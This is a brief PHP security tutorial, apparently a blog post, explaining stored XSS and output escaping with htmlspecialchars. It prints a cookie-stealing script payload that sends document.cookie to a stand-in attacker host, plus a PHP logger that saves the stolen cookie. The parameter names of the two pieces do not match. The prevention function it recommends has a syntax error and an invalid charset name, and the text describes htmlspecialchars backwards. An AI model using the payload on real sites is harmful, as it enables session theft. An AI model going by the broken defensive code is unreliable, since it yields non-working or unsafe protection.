The easiest way to prevent XSS attacks in PHP


The Cross-Site Scripting (XSS) attacks are one of the most common attacks faces by websites today. It is a massive problem and it can literally forward a user to attacker sites then steal their sensitive information like remember me cookie etc. The XSS attacks are done by injecting some malicious javascript codes into the database which will trigger when user login to the website.

Now I will show a real world scenario of stealing the cookie. Just imagine that attacker insert the following javascript code into the database during filling some registration form. 

<script>document.location="attackerurl.com/steal.php?value="+document.cookie</script>

If the website simply outputs database value without any XSS filter when the user logged in he will immediately take to attacker URL and the attacker can steal his cookie if the site doesn't secure the cookie by using following PHP code.

<?php

$cookie = $_GET['cookie'];

file_put_contents('log.txt',$cookie);

header('Location:http://urlofyoursite.com');

Since user immediately redirects to the original site he will not even notice the attack and this is very dangerous.

So how can we prevent it?

There are two approaches for preventing XSS attacks.

  1. To filter all input data. This approach is not recommended as storing script tags in the database will not cause any problems. Some PHP frameworks like CodeIgniter use this approach but soon they realise their mistake and now recommend their users to not use it.
  2. To filter the output data. This approach is what we are going to do today and it is the recommended method.

 You can easily filter your outputs by calling following PHP function every time you output data from the database.

function clean($value) {
    return htmlspecialchars(($value, ENT_QUOTES,'UTF_8');
}

The htmlspecialchars function will convert special characters from HTML entities. Many users use this function without 2nd and 3rd parameters but it is also not recommended. There are 10 flags you can use as 2nd parameter and you can read all of then by visiting following link htmlspecialchars.


Security
22nd Jul 2018 02:02:18 AM
PHP Javascript
13549

ShareurCodes

ShareurCodes is a code sharing site for programmers to learn, share their knowledge with younger generation.